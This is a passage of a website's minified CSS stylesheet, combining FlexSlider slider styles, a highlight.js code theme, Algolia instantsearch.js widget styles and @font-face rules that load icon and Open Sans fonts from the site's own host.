1px 0 #ffffff4d}.flex-direction-nav a.flex-next:before{content:'\f002'}.flex-direction-nav .flex-prev{left:-50px}.flex-direction-nav .flex-next{right:-50px;text-align:right}.flexslider:hover .flex-direction-nav .flex-prev{opacity:.7;left:10px}.flexslider:hover .flex-direction-nav .flex-prev:hover{opacity:1}.flexslider:hover .flex-direction-nav .flex-next{opacity:.7;right:10px}.flexslider:hover .flex-direction-nav .flex-next:hover{opacity:1}.flex-direction-nav .flex-disabled{opacity:0!important;cursor:default;z-index:-1}.flex-pauseplay a{display:block;width:20px;height:20px;position:absolute;bottom:5px;left:10px;opacity:.8;z-index:10;overflow:hidden;cursor:pointer;color:#000}.flex-pauseplay a:before{font-family:flexslider-icon;font-size:20px;display:inline-block;content:'\f004'}.flex-pauseplay a:hover{opacity:1}.flex-pauseplay a.flex-play:before{content:'\f003'}.flex-control-nav{width:100%;position:absolute;bottom:-40px;text-align:center}.flex-control-nav li{margin:0 6px;display:inline-block;zoom:1}.flex-control-paging li a{width:11px;height:11px;display:block;background:#666;background:#00000080;cursor:pointer;text-indent:-9999px;-webkit-box-shadow:inset 0 0 3px #0000004d;-moz-box-shadow:inset 0 0 3px #0000004d;-o-box-shadow:inset 0 0 3px #0000004d;box-shadow:inset 0 0 3px #0000004d;-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.flex-control-paging li a:hover{background:#333;background:#000000b2}.flex-control-paging li a.flex-active{background:#000;background:#000000e5;cursor:default}.flex-control-thumbs{margin:5px 0 0;position:static;overflow:hidden}.flex-control-thumbs li{width:25%;float:left;margin:0}.flex-control-thumbs img{width:100%;height:auto;display:block;opacity:.7;cursor:pointer;-moz-user-select:none;-webkit-transition:all 1s ease;-moz-transition:all 1s ease;-ms-transition:all 1s ease;-o-transition:all 1s ease;transition:all 1s ease}.flex-control-thumbs img:hover{opacity:1}.flex-control-thumbs .flex-active{opacity:1;cursor:default}@media screen and (max-width:860px){.flex-direction-nav .flex-prev{opacity:1;left:10px}.flex-direction-nav .flex-next{opacity:1;right:10px}}.hljs{display:block;overflow-x:auto;padding:.5em;background:#3f3f3f;color:#dcdcdc}.hljs-keyword,.hljs-selector-tag,.hljs-tag{color:#e3ceab}.hljs-template-tag{color:#dcdcdc}.hljs-number{color:#8cd0d3}.hljs-variable,.hljs-template-variable,.hljs-attribute{color:#efdcbc}.hljs-literal{color:#efefaf}.hljs-subst{color:#8f8f8f}.hljs-title,.hljs-name,.hljs-selector-id,.hljs-selector-class,.hljs-section,.hljs-type{color:#efef8f}.hljs-symbol,.hljs-bullet,.hljs-link{color:#dca3a3}.hljs-deletion,.hljs-string,.hljs-built_in,.hljs-builtin-name{color:#cc9393}.hljs-addition,.hljs-comment,.hljs-quote,.hljs-meta{color:#7f9f7f}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}/*!instantsearch.js 2.10.1 | © Algolia Inc. and other contributors; Licensed MIT | github.com/algolia/instantsearch.js*/@-webkit-keyframes sbx-reset-in{0%{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes sbx-reset-in{0%{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}.ais-search-box{position:relative;max-width:300px;width:100%}.ais-search-box--input{padding-left:24px;height:100%;width:100%}.ais-search-box--magnifier{top:4px;left:7px}.ais-search-box--magnifier svg{display:block}.ais-search-box--loading-indicator-wrapper,.ais-search-box--magnifier,.ais-search-box--reset{background:0 0;position:absolute;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ais-search-box--loading-indicator-wrapper{display:none;left:7px;top:4px}.ais-search-box--loading-indicator-wrapper svg,.ais-search-box--magnifier svg{vertical-align:middle;height:14px;width:14px}.ais-search-box--reset{cursor:pointer;top:5px;right:5px;margin:0;border:0;padding:0}.ais-search-box--reset svg{display:block;width:12px;height:12px}.ais-search-box--powered-by{font-size:.8em;text-align:right;margin-top:2px}.ais-search-box--powered-by-link{display:inline-block;width:45px;height:16px;text-indent:101%;overflow:hidden;white-space:nowrap;background-image:url(data:image/svg+xml;utf8;base64,PHN2ZyB3aWR0aD0iMTY5IiBoZWlnaHQ9IjU0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMzY2IDM2MiI+PGxpbmVhckdyYWRpZW50IGlkPSJhIiB4MT0iNDI4LjMiIHgyPSI0MzQuMSIgeTE9IjQwNC4xIiB5Mj0iNDA5LjkiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoOTQuMDQ1IDAgMCAtOTQuMDcyIC00MDM4MS41IDM4NDc5LjUpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHN0b3Agb2Zmc2V0PSIwIiBzdG9wLWNvbG9yPSIjMDBhZWZmIi8+PHN0b3Agb2Zmc2V0PSIxIiBzdG9wLWNvbG9yPSIjMzM2OWU3Ii8+PC9saW5lYXJHcmFkaWVudD48cGF0aCBmaWxsPSJ1cmwoI2EpIiBkPSJNNjEuOCAxNS40aDI0Mi44QTQzLjQgNDMuNC4wIDAgMSAzNDggNTguOHYyNDIuOWE0My40IDQzLjQuMCAwIDEtNDMuNCA0My40SDYxLjhhNDMuNCA0My40LjAgMCAxLTQzLjQtNDMuNHYtMjQzYTQzLjMgNDMuMy4wIDAgMSA0My40LTQzLjN6Ii8+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTE4NyA5OC43YTkzLjEgOTMuMS4wIDEgMCAwIDE4Ni4zIDkzLjEgOTMuMS4wIDAgMCAwLTE4Ni4zem0wIDE1OC44YTY1LjYgNjUuNi4wIDEgMSAwLTEzMS4zIDY1LjYgNjUuNi4wIDAgMSAwIDEzMS4zem0wLTExNy44djQ4LjljMCAxLjQgMS41IDIuNCAyLjggMS43bDQzLjQtMjIuNWMxLS41IDEuMy0xLjcuOC0yLjdhNTQgNTQgMCAwIDAtNDUtMjcuM2MtMSAwLTIgLjgtMiAxLjl6bS02MC44LTM1LjktNS43LTUuN2ExNC4yIDE0LjIuMCAwIDAtMjAuMi4wbC02LjggNi44YTE0LjIgMTQuMi4wIDAgMCAwIDIwLjJsNS42IDUuNmMuOS45IDIuMi43IDMtLjJhMTEwIDExMCAwIDAgMSAyMy44LTIzLjhjMS0uNiAxLjEtMiAuMy0yLjl6TTIxNy41IDg5Vjc3LjdjMC03LjktNi40LTE0LjMtMTQuMy0xNC4zaC0zMy4zYy03LjkuMC0xNC4zIDYuNC0xNC4zIDE0LjN2MTEuNmMwIDEuMyAxLjIgMi4yIDIuNSAxLjlhMTA0LjIgMTA0LjIuMCAwIDEgNTctLjMgMiAyIDAgMCAwIDIuNC0xLjl6Ii8+PHBhdGggZmlsbD0iIzE4MjM1OSIgZD0iTTg0Mi41IDI2Ny42YzAgMjYuNy02LjggNDYuMi0yMC41IDU4LjYtMTMuNyAxMi40LTM0LjYgMTguNi02Mi44IDE4LjYtMTAuMy4wLTMxLjctMi00OC44LTUuOGw2LjMtMzFjMTQuMyAzIDMzLjIgMy44IDQzLjEgMy44IDE1LjcuMCAyNi45LTMuMiAzMy42LTkuNnMxMC0xNS45IDEwLTI4LjV2LTYuNGMtMy45IDEuOS05IDMuOC0xNS4zIDUuOGE3NS43IDc1LjcuMCAwIDEtMjEuOCAyLjkgODIgODIgMCAwIDEtMjkuNS01LjEgNjEuNyA2MS43LjAgMCAxLTM3LjctMzkuOCAxNDQuNyAxNDQuNy4wIDAgMSAuMy03OC4zIDcyLjEgNzIuMS4wIDAgMSA0Mi44LTQzLjMgOTYuMyA5Ni4zLjAgMCAxIDM1LjUtNi43IDIxNCAyMTQgMCAwIDEgMzUuOCAzLjVjMTEuNCAxLjkgMjEuMSAzLjkgMjkgNi4xdjE1NS4yem0tMTA4LjctNzcuMmMwIDE2LjQgMy42IDM0LjYgMTAuOCA0Mi4yYTM2LjcgMzYuNy4wIDAgMCAyNy45IDExLjQgNTkuNSA1OS41LjAgMCAwIDMxLTguN3YtOTcuMWMtMi44LS42LTE0LjUtMy0yNS44LTMuM2EzOSAzOSAwIDAgMC0zMi42IDE0LjdjLTcuNSA5LjMtMTEuMyAyNS42LTExLjMgNDAuOHptMjk0LjMuMGMwIDEzLjItMS45IDIzLjItNS44IDM0LjFzLTkuNCAyMC4yLTE2LjUgMjcuOWMtNy4xIDcuNy0xNS42IDEzLjctMjUuNiAxNy45cy0yNS40IDYuNi0zMy4xIDYuNmExMDIgMTAyIDAgMCAxLTMyLjktNi42IDc0LjUgNzQuNS4wIDAgMS0yNS41LTE3LjkgOTIuOCA5Mi44LjAgMCAxLTIyLjYtNjIgMTA3IDEwNyAwIDAgMSA1LjgtMzYuN2M0LTEwLjggOS42LTIwIDE2LjgtMjcuN3MxNS44LTEzLjYgMjUuNi0xNy44YzkuOS00LjIgMjAuOC02LjIgMzIuNi02LjJzMjIuNyAyLjEgMzIuNyA2LjJhNzEuNSA3MS41LjAgMCAxIDI1LjYgMTcuOCA4Mi41IDgyLjUuMCAwIDEgMTYuNiAyNy43YzQuMiAxMC44IDYuMyAyMy41IDYuMyAzNi43em0tNDAgLjFjMC0xNi45LTMuNy0zMS0xMC45LTQwLjhhMzUuMiAzNS4yLjAgMCAwLTMwLjItMTQuOGMtMTIuOS4wLTIzIDQuOS0zMC4yIDE0LjhhNjkgNjkgMCAwIDAtMTAuNyA0MC44YzAgMTcuMSAzLjYgMjguNiAxMC44IDM4LjVhMzUgMzUgMCAwIDAgMzAuMiAxNC45YzEyLjkuMCAyMy01IDMwLjItMTQuOWE2MS40IDYxLjQuMCAwIDAgMTAuOC0zOC41em0xMjcuMSA4Ni40Yy02NC4xLjMtNjQuMS01MS44LTY0LjEtNjAuMUwxMDUxIDMybDM5LjEtNi4ydjE4My42YzAgNC43LjAgMzQuNSAyNS4xIDM0LjZ2MzIuOXptNjguOS4waC0zOS4zVjEwOC4xbDM5LjMtNi4ydjE3NXptLTE5LjctMTkzLjVhMjMuNyAyMy43LjAgMCAwIDAtNDcuNCAyMy43IDIzLjcuMCAxIDAgMCA0Ny40em0xMTcuNCAxOC42YzEyLjkuMCAyMy44IDEuNiAzMi42IDQuOCA4LjggMy4yIDE1LjkgNy43IDIxLjEgMTMuNHM4LjkgMTMuNSAxMS4xIDIxLjdhMWUyIDFlMi4wIDAgMSAzLjQgMjcuMXYxMDAuNmMtNiAxLjMtMTUuMSAyLjgtMjcuMyA0LjZzLTI1LjkgMi43LTQxLjEgMi43Yy0xMC4xLjAtMTkuNC0xLTI3LjctMi45LTguNC0xLjktMTUuNS01LTIxLjUtOS4zYTQ1IDQ1IDAgMCAxLTEzLjktMTYuNmMtMy4zLTYuOC01LTE2LjQtNS0yNi40LjAtOS42IDEuOS0xNS43IDUuNi0yMi4zIDMuOC02LjYgOC45LTEyIDE1LjMtMTYuMmE2NS44IDY1LjguMCAwIDEgMjIuNC05IDEyOC4zIDEyOC4zLjAgMCAxIDU1LjQuOHYtNi40YzAtNC41LS41LTguOC0xLjYtMTIuOC0xLjEtNC4xLTMtNy42LTUuNi0xMC43LTIuNy0zLjEtNi4yLTUuNS0xMC42LTcuMnMtMTAtMy0xNi43LTNhMTQyLjcgMTQyLjcuMCAwIDAtNDMuMSA2LjlsLTQuNy0zMi4xYTE3MC4yIDE3MC4yLjAgMCAxIDUxLjktNy43em0zLjMgMTQxLjljMTIgMCAyMC45LS43IDI3LjEtMS45di0zOS44YTkzLjIgOTMuMi4wIDAgMC0zNi4xLTEuOWMtNC40LjYtOC40IDEuOC0xMS45IDMuNXMtNi40IDQuMS04LjUgNy4yYTEzLjYgMTMuNi4wIDAgMC0zLjIgOS42YzAgOS4yIDMuMiAxNC41IDkgMThhNDQuOSA0NC45LjAgMCAwIDIzLjYgNS4zek01MTIuOSAxMDNjMTIuOS4wIDIzLjggMS42IDMyLjYgNC44YTUyLjIgNTIuMi4wIDAgMSAyMS4xIDEzLjQgNTIuMSA1Mi4xLjAgMCAxIDExLjEgMjEuNyAxZTIgMWUyLjAgMCAxIDMuNCAyNy4xdjEwMC42Yy02IDEuMy0xNS4xIDIuOC0yNy4zIDQuNmEyODMuNCAyODMuNC4wIDAgMS00MS4xIDIuN2MtMTAuMS4wLTE5LjQtMS0yNy43LTIuOS04LjQtMS45LTE1LjUtNS0yMS41LTkuM2E0NSA0NSAwIDAgMS0xMy45LTE2LjZjLTMuMy02LjgtNS0xNi40LTUtMjYuNC4wLTkuNiAxLjktMTUuNyA1LjYtMjIuMyAzLjgtNi42IDguOS0xMiAxNS4zLTE2LjJhNjUuOCA2NS44LjAgMCAxIDIyLjQtOSAxMjguMyAxMjguMy4wIDAgMSA1NS40Ljh2LTYuNGMwLTQuNS0uNS04LjgtMS42LTEyLjgtMS4xLTQuMS0zLTcuNi01LjYtMTAuN2EyNi4zIDI2LjMuMCAwIDAtMTAuNi03LjJjLTQuNC0xLjctMTAtMy0xNi43LTNhMTQyLjcgMTQyLjcuMCAwIDAtNDMuMSA2LjlsLTQuNy0zMi4xYzQuOS0xLjcgMTIuMi0zLjQgMjEuNi01LjEgOS40LTEuOCAxOS41LTIuNiAzMC4zLTIuNnptMy40IDE0MmMxMiAwIDIwLjktLjcgMjcuMS0xLjl2LTM5LjhhOTMuMiA5My4yLjAgMCAwLTM2LjEtMS45Yy00LjQuNi04LjQgMS44LTExLjkgMy41cy02LjQgNC4xLTguNSA3LjJhMTMuNiAxMy42LjAgMCAwLTMuMiA5LjZjMCA5LjIgMy4yIDE0LjUgOSAxOHMxMy43IDUuMyAyMy42IDUuM3ptMTU4LjUgMzEuOWMtNjQuMS4zLTY0LjEtNTEuOC02NC4xLTYwLjFMNjEwLjYgMzJsMzkuMS02LjJ2MTgzLjZjMCA0LjcuMCAzNC41IDI1LjEgMzQuNnYzMi45eiIvPjwvc3ZnPg==);background-repeat:no-repeat;background-size:contain;vertical-align:middle}.ais-search-box.ais-stalled-search .ais-search-box--magnifier-wrapper{display:none}.ais-search-box.ais-stalled-search .ais-search-box--loading-indicator-wrapper{display:block}.sbx-sffv{display:inline-block;position:relative;width:100%;height:26px;white-space:nowrap;box-sizing:border-box;font-size:14px}.sbx-sffv__input,.sbx-sffv__wrapper{width:100%;height:100%}.sbx-sffv__input{display:inline-block;transition:box-shadow .4s ease,background .4s ease;border:0;border-radius:4px;box-shadow:inset 0 0 0 1px #ccc;background:#fff;padding:0 20px 0 26px;vertical-align:middle;white-space:normal;font-size:inherit;-webkit-appearance:none;-moz-appearance:none;appearance:none}.sbx-sffv__input::-webkit-search-cancel-button,.sbx-sffv__input::-webkit-search-decoration,.sbx-sffv__input::-webkit-search-results-button,.sbx-sffv__input::-webkit-search-results-decoration{display:none}.sbx-sffv__input:hover{box-shadow:inset 0 0 0 1px #b3b3b3}.sbx-sffv__input:active,.sbx-sffv__input:focus{outline:0;box-shadow:inset 0 0 0 1px #337ab7;background:#fff}.sbx-sffv__input::-webkit-input-placeholder{color:#bbb}.sbx-sffv__input:-ms-input-placeholder,.sbx-sffv__input::-ms-input-placeholder{color:#bbb}.sbx-sffv__input::placeholder{color:#bbb}.sbx-sffv__submit{position:absolute;top:0;right:inherit;left:0;margin:0;border:0;border-radius:3px 0 0 3px;background-color:#0000;padding:0;width:26px;height:100%;vertical-align:middle;text-align:center;font-size:inherit;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.sbx-sffv__submit::before{display:inline-block;margin-right:-4px;height:100%;vertical-align:middle;content:''}.sbx-sffv__submit:active,.sbx-sffv__submit:hover{cursor:pointer}.sbx-sffv__reset:focus,.sbx-sffv__submit:focus{outline:0}.sbx-sffv__submit svg{width:14px;height:14px;vertical-align:middle;fill:#337ab7}.sbx-sffv__reset{display:none;position:absolute;top:2px;right:2px;margin:0;border:0;background:0 0;cursor:pointer;padding:0;font-size:inherit;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;fill:#00000080}.sbx-sffv__reset svg{display:block;margin:4px;width:14px;height:14px}.sbx-sffv__input:valid~.sbx-sffv__reset{display:block;-webkit-animation-name:sbx-reset-in;animation-name:sbx-reset-in;-webkit-animation-duration:.15s;animation-duration:.15s}.ais-refinement-list--item em{font-style:normal;font-weight:700}.ais-pagination--item{display:inline-block;padding:3px}.ais-pagination--item__disabled{visibility:hidden}.ais-hierarchical-menu--list__lvl1,.ais-hierarchical-menu--list__lvl2{margin-left:10px}.ais-range-input--fieldset{margin:0;padding:0;border:0}.ais-range-input--labelMin{display:inline-block}.ais-range-input--inputMin{min-width:165px}.ais-range-input--inputMax:hover:disabled,.ais-range-input--inputMin:hover:disabled{cursor:not-allowed}.ais-range-input--separator{margin:0 5px}.ais-range-input--labelMax{display:inline-block}.ais-range-input--inputMax{min-width:165px}.ais-range-input--submit{margin-left:5px}.ais-range-input--submit:disabled,.ais-range-input--submit:hover:disabled{cursor:not-allowed;background-color:#c9c9c9}.ais-range-slider .ais-range-slider--disabled{cursor:not-allowed}.ais-range-slider .ais-range-slider--disabled .ais-range-slider--handle{border-color:#ddd;cursor:not-allowed}.ais-range-slider .ais-range-slider--disabled .rheostat-horizontal .rheostat-progress{background-color:#ddd}.ais-range-slider .rheostat{overflow:visible;margin-top:2em;margin-bottom:2em}.ais-range-slider .rheostat-background{background-color:#fff;border-top:1px solid #ddd;border-bottom:1px solid #ddd;border-left:2px solid #ddd;border-right:2px solid #ddd;position:relative}.ais-range-slider .rheostat-horizontal .rheostat-background{height:6px;top:0;width:100%}.ais-range-slider .rheostat-horizontal .rheostat-progress{background-color:#46aeda;position:absolute;height:4px;top:1px}.ais-range-slider .rheostat-horizontal .rheostat-handle{margin-left:-12px;top:-7px}.ais-range-slider .rheostat-horizontal .rheostat-handle .ais-range-slider--tooltip{text-align:center;margin-left:-10px;width:40px}.ais-range-slider .rheostat-horizontal .rheostat-handle::after,.ais-range-slider .rheostat-horizontal .rheostat-handle::before{top:7px;height:10px;width:1px}.ais-range-slider .rheostat-horizontal .rheostat-handle::before{left:10px}.ais-range-slider .rheostat-horizontal .rheostat-handle::after{left:13px}.ais-range-slider--handle{width:20px;height:20px;position:relative;z-index:1;background:#fff;border:1px solid #46aeda;border-radius:50%;cursor:pointer}.ais-range-slider--tooltip{position:absolute;background:#fff;top:-22px;font-size:.8em}.ais-range-slider--value{width:40px;position:absolute;text-align:center;margin-left:-20px;padding-top:15px;font-size:.8em}.ais-range-slider--marker{position:absolute;background:#ddd;margin-left:-1px;width:1px;height:5px}.ais-star-rating--item{vertical-align:middle}.ais-star-rating--item__active{font-weight:700}.ais-star-rating--star,.ais-star-rating--star__empty{display:inline-block;width:1em;height:1em}.ais-star-rating--star::before{content:'\2605';color:#fbae00}.ais-star-rating--star__empty::before{content:'\2606';color:#fbae00}.ais-star-rating--link__disabled .ais-star-rating--star::before,.ais-star-rating--link__disabled .ais-star-rating--star__empty::before{color:#c9c9c9}.ais-root__collapsible .ais-header{cursor:pointer}.ais-root__collapsed .ais-body,.ais-root__collapsed .ais-footer{display:none}.ais-breadcrumb--home,.ais-breadcrumb--label,.ais-breadcrumb--separator{display:inline;color:#3369e7}.ais-breadcrumb--item{display:inline}.ais-breadcrumb--disabledLabel{color:#444;display:inline}.ais-geo-search,.ais-geo-search--map{height:100%}.ais-geo-search--toggle-label{display:flex;align-items:center}/*!instantsearch.js 2.10.1 | © Algolia Inc. and other contributors; Licensed MIT | github.com/algolia/instantsearch.js*/.ais-clear-all--link,.ais-current-refined-values--clear-all,.ais-price-ranges--button,.ais-range-input--submit{color:#fff;display:inline-block;background:#3369e7;border-radius:4px;font-size:12px;text-decoration:none;padding:4px 8px}.ais-geo-search--clear,.ais-geo-search--redo{color:#fff;display:inline-block;background:#3369e7;font-size:12px;text-decoration:none}.ais-clear-all--link:hover,.ais-current-refined-values--clear-all:hover,.ais-geo-search--clear:hover,.ais-geo-search--redo:hover,.ais-price-ranges--button:hover,.ais-range-input--submit:hover{text-decoration:none;color:#fff;background:#184ecd}.ais-clear-all--link-disabled,.ais-current-refined-values--clear-all-disabled{opacity:.5;pointer-events:none}.ais-current-refined-values--clear-all{margin-bottom:5px}.ais-current-refined-values--item,.ais-hierarchical-menu--item,.ais-menu--item{font-size:14px;line-height:30px}.ais-refinement-list--item{font-size:14px}.ais-star-rating--item,.ais-toggle--item{font-size:14px;line-height:30px}.ais-geo-search--toggle-label{line-height:30px}.ais-current-refined-values--link,.ais-geo-search--toggle-label,.ais-hierarchical-menu--link,.ais-menu--link,.ais-price-ranges--link,.ais-refinement-list--label,.ais-star-rating--link,.ais-toggle--label{color:#3e82f7;text-decoration:none}.ais-current-refined-values--link:hover,.ais-geo-search--toggle-label:hover,.ais-hierarchical-menu--link:hover,.ais-menu--link:hover,.ais-price-ranges--link:hover,.ais-refinement-list--label:hover,.ais-star-rating--link:hover,.ais-toggle--label:hover{color:#184ecd;text-decoration:none}.ais-current-refined-values--count,.ais-hierarchical-menu--count,.ais-menu--count,.ais-refinement-list--count,.ais-star-rating--count,.ais-toggle--count{background:#2751af1a;border-radius:31px;color:#3e82f7;padding:2px 10px}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link,.ais-menu--item__active>div>.ais-menu--link,.ais-refinement-list--item__active>div>.ais-geo-search--toggle-label,.ais-refinement-list--item__active>div>.ais-refinement-list--label,.ais-refinement-list--item__active>div>.ais-toggle--label{font-weight:700}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link::after{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ais-hierarchical-menu--link{position:relative}.ais-hierarchical-menu--link::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:calc(50% - 14px/2);right:-22px;height:14px;width:14px}select.ais-hits-per-page-selector,select.ais-menu-select--select,select.ais-numeric-selector,select.ais-sort-by-selector{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:#fff url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTIgNyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTEgMSA2LjAyIDYgMSAxIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSIjYmZjN2Q4IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPjwvc3ZnPg==) no-repeat 50% 100% 16px/10px;box-shadow:0 1px 1px 0 #555f6e33!important;border:solid 1px #d4d8e3!important;border-radius:4px;color:#697782;font-size:12px;transition:background .2s ease,box-shadow .2s ease;padding:8px 32px 8px 16px;outline:0}.ais-menu button,.ais-refinement-list div>button{background:0 0;border:0;cursor:pointer;font-size:11px}.ais-refinement-list--item{line-height:24px}.ais-geo-search--toggle-label,.ais-refinement-list--label,.ais-toggle--label{cursor:pointer}.ais-geo-search--toggle-label input[type=checkbox],.ais-geo-search--toggle-label input[type=radio],.ais-refinement-list--label input[type=checkbox],.ais-refinement-list--label input[type=radio],.ais-toggle--label input[type=checkbox],.ais-toggle--label input[type=radio]{margin-right:5px}.ais-pagination{background:#fff;box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;display:inline-block;padding:8px 16px;width:auto}.ais-pagination--item{border-radius:4px;font-size:14px;text-align:center;width:28px}.ais-pagination--item:hover{background:#2751af1a}.ais-pagination--item__disabled{color:#bbb;opacity:.5;pointer-events:none;visibility:visible}.ais-pagination--item__active{background:#3369e7}.ais-pagination--item__active .ais-pagination--link{color:#fff}.ais-pagination--link{color:#697782;display:block;text-decoration:none;width:100%}.ais-pagination--link:hover{color:#3369e7;text-decoration:none}.ais-price-ranges--item{font-size:14px;line-height:24px}.ais-price-ranges--item__active{font-weight:700}.ais-price-ranges--form{margin-top:10px}.ais-price-ranges--input{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-price-ranges--button{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-input--inputMax,.ais-range-input--inputMin{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-range-input--submit{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-slider--handle{border:1px solid #3369e7}.ais-range-slider .rheostat-progress{background-color:#3369e7!important}.ais-search-box{display:inline-block;position:relative;height:46px;white-space:nowrap;font-size:14px}.ais-search-box--input{-webkit-appearance:none;-moz-appearance:none;appearance:none;font:inherit;background:#fff;display:inline-block;border:1px solid #d4d8e3;border-radius:4px;box-shadow:0 1px 1px 0 #555f6e33;transition:box-shadow .4s ease,background .4s ease;padding:10px 10px 10px 35px;vertical-align:middle;white-space:normal;height:100%;width:100%}.ais-search-box--input:focus{box-shadow:none;outline:0}.ais-search-box--reset{fill:#bfc7d8;top:calc(50% - 12px/2);right:13px}.ais-search-box--loading-indicator-wrapper,.ais-search-box--magnifier{fill:#bfc7d8;left:12px;top:calc(50% - 18px/2)}.ais-search-box--loading-indicator-wrapper svg,.ais-search-box--magnifier svg{height:18px;width:18px}.ais-stats{color:#697782;font-size:14px;opacity:.6}.ais-toggle--item__active{font-weight:700}.ais-breadcrumb--root .ais-breadcrumb--label{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--separator{color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home div,.ais-breadcrumb--root .ais-breadcrumb--label div,.ais-breadcrumb--root .ais-breadcrumb--separator div{display:inline}.ais-breadcrumb--root .ais-breadcrumb--disabledLabel{color:#444;display:inline}.ais-breadcrumb--root .ais-breadcrumb--separator{position:relative;display:inline-block;height:14px;width:14px}.ais-breadcrumb--root .ais-breadcrumb--separator::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:2px;height:14px;width:14px}.ais-geo-search{position:relative}.ais-geo-search--clear{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;padding:8px 15px;position:absolute;bottom:20px;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.ais-geo-search--clear:hover,.ais-geo-search--redo:hover{cursor:pointer}.ais-geo-search--control{position:absolute;top:10px;left:50px}.ais-geo-search--redo,.ais-geo-search--toggle-label{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px}.ais-geo-search--toggle-label{font-size:12px;background:#fff;padding:0 15px}.ais-geo-search--redo{padding:8px 15px}.ais-geo-search--redo:disabled{background:#a0b8f3}[class^=ais-],[class^=ais-]>*,[class^=ais-]>::after,[class^=ais-]>::before{box-sizing:border-box}.ais-header{border-bottom:2px solid #eee;font-size:.8em;margin:0 0 6px;padding:0 0 6px;text-transform:uppercase}@font-face{font-family:flexslider-icon;src:url(https://h.cowbay.orgdist/fonts/flexslider-icon.eot);src:url(https://h.cowbay.orgdist/fonts/flexslider-icon.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.svg#flexslider-icon) format("svg");font-weight:400;font-style:normal}@font-face{font-family:fontawesome;src:url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.eot?v=4.7.0);src:url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}@font-face{font-family:open sans;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Open Sans Regular"),local(OpenSans-Regular),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) 